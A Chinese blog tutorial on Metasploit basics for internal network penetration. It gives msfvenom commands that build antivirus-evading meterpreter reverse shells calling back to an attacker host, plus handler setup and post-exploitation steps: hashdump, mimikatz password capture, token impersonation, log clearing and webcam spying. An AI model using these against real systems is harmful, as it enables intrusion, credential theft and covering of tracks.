内网渗透基础(二)Metasploit基础

admin 2022年4月15日10:26:18内网渗透基础(二)Metasploit基础已关闭评论70 views字数 3259阅读10分51秒阅读模式

Metasploit基础

在kali当中默认安装,文件路径是在/usr/share/metasploit-framework/中,在该目录下有以下几个比较重要的文件夹:

data目录当中是msf当中一些可编辑的文件

documentation文档目录是对工具的介绍

lib(静态链接库)目录:里边是msf的代码

modules模块目录装有msf当中的exp,payload等内容

1. msf的使用

Metasploit使用的数据库是posetpresql

在msf5之前启动的话需要安装数据库格式化数据库,设置用户和密码去进行连接,而在msf5之后不需要在这样操作,只需在kali的命令行中使用**msfdb init*就可以初始化并开启msf的数据库,然后在输入msfconsole就可以启动msf,进入之后我们可以使用db_status***来进行查看连接数据库的状态。除此在外我们还可以使用kage实现界面话。

1.1 msf基础使用命令:

show 模块名:进行罗列模块

search 模块关键字:搜索关键字(一般都是我们查找某个漏洞的exp时会使用search进行搜索关键词)

出现的开头为Auxiliary的模块为扫描模块,exploit为执行任务模块

内网渗透基础(二)Metasploit基础

use 模块名:使用该模块

back:返回上一级

info:在使用模块之后可以使用info来查看模块信息,查看的话主要查看这一部分

内网渗透基础(二)Metasploit基础

show options(显示的是info当中的一部分):查看模块配置 去设置回显当中required的配置

set:使用set命令来设置required当中需要配置的信息

设置之后我们在使用show options之后我们可以看到rhosts已经变成了我们设置后的值

内网渗透基础(二)Metasploit基础

exploit:来执行

jobs:查看后台工作

kill 工作ID号:杀死进程

1.2 msf下的一些信息收集

1.2.1 利用arp协议进行发现主机,使用下边的模块

auxiliary/scanner/discovery/arp_sweep

在设置目标主机时可以直接设置IP地址段,执行结果可以看到该网段下所存活的主机

内网渗透基础(二)Metasploit基础

1.2.2 使用UDP协议进行信息收集

使用auxiliary/scanner/discovery/udp_sweep,可以回显我们存活主机的计算机名,用户组

内网渗透基础(二)Metasploit基础

1.2.3. 扫描端口

使用auxiliary/scanner/portscan/tcp模块

内网渗透基础(二)Metasploit基础

4.在使用exploit攻击时我们一般都需要去设置一个payload的

2. msfvenom

exp只是利用漏洞进行一个攻击动作,payload才是exp执行成功之后在目标靶机执行的指令或者代码

msfvenom是msf下用来生成payload的工具

在kali当中直接输入msfvenom就可以直接运行msfvenom

平台/格式(一般使用meterprete的payload)

2.1 msfvenom中 的参数:

-l 参数就是查看 msfvenom中所包含的模块具体有哪些

-p 参数就是指定payload

payload有两种类型:bind类型(正向)和reverse类型(反向)

bind类型:即正向连接,一般使用在目标机器处于内网当中,不能直接连通外网,也不能通过其他机器进行连接,此时就需要目标机器通过正向的payload打开一个端口,让攻击者去连接目标机器打开的这个端口,从而建立通信。

reverse类型:即反向连接,指的是攻击者的机器上打开了一个端口,在目标机器上运行反向payload来连接攻击机的端口,从而用于连接,常用于边线服务器的上线。【大多数情况下用tcp协议的payload】

-f 指定输出文件格式【exe等】

-e 指定一个编码方式【绕过一些杀软】

-i 指定payload的编码次数【一般不要超过二十次】

内网渗透基础(二)Metasploit基础

经常使用的构造payload的语句示例:

windows下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.132【kali地址】 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe >1.exe

linux下:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.132 LPORT=4444 -f elf>1.elf

在生成payload之后我们在msf当中使用时一般注重一下的步骤:

use exploit/multi/handler 【使用监听模块】
set payload windows/x64/meterpreter_reverse_tcp 【所设置的payload必须和msfvenom当中生成的payload必须是同一个模块】
set lhost 192.168.10.132【msfvenom生成payload设置的IP地址】
set lport 4444【msfvenom生成payload设置的监听端口】
exploit -j(后台)允许

然后把我们生成的payload在目标主机上运行一下然后我们就可以获得一个会话即下边的Meterprete

3.Meterprete

3.1 Meterprete基础操作:

background:在进入到Meterprete中之后我们可以使用此命令返回到msf当中

sessions -l:查看所有会话信息

sessions -i 会话ID号:与指定的会话进行交互

pwd:查看目标当前目录的位置

lpwd:查看本地的当前目录

cd:切换目标的执行目录

lcd:切换到本地的执行目录

ls:列出目标当前目录下的文件

lls:列出本地当前目录下的文件

clearev:清理痕迹

download 文件名:将目标文件下载到本地

upload 文件名:上传本地目录到目标主机

execute :在目标执行命令的功能,可使用execute -h来获取参数帮助

ps:列出目标进程

getuid:查看当前用户的身份

getprivs:查看当前用户的权限

migrate PID:进程迁移(隐蔽我们执行的exe进程或者是获取其他的一些权限)

getpid:查看木马进程

shell:进入对方的windows终端行,可以执行一些windows下的命令,如果出现乱码我们可以使用chcp 编码代表字母 命令来改变编码方式

65001 UTF-8代码页

950繁体中文

936简体中文默认的GBK

437 MS-DOS美国英语

exit:退出终端环境

idletime:查看目标服务器空闲时间

sysinfo:查看目标信息

kill:杀死目标进程

shutdown:关机

reboot:重启

netstat:查看网络连接情况

getsystem:尝试提权方式

3.2配合后渗透使用的模块进行信息收集

都是与run使用

run killav:尝试杀死杀软【几乎没用】

run hashdump:到处目标机的密码

run vnc:进行一个事实目标机器的屏幕监控

run webcam:开启一个摄像头

run post/windows/gather/checkvm:查看当前主机是否是一个虚拟机

run post/windows/gather/enum_computers:枚举我们域内的主机

run post/windows/manage/rnable_rdp:开启对方的3389端口【必须有相应的权限】

run get

除了run之外我们还有load命令:

我们可以使用load incognito来模拟一个Token令牌,在使用该模块之后我们可以使用list_tokens -u来列出可以模拟的令牌,然后使用impersonate_token Token名来模拟此令牌,在模拟时如果有“\”则需要在原来的反斜杠前在加入一个反斜杠,如果有空格则需要把Token名用引号引起来,窃取一个指定令牌就相当于获得了其权限

我们也可以使用 load mimikatz,来获取目标用户的明文密码

在加载该模块之后使用wdigest来抓取明文密码

4. Armitage

是一个msf的图形 界面话工具但是非常的卡顿不建议使用,在命令行直接使用armitage可以直接使用.

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月15日10:26:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透基础(二)Metasploit基础http://cn-sec.com/archives/913068.html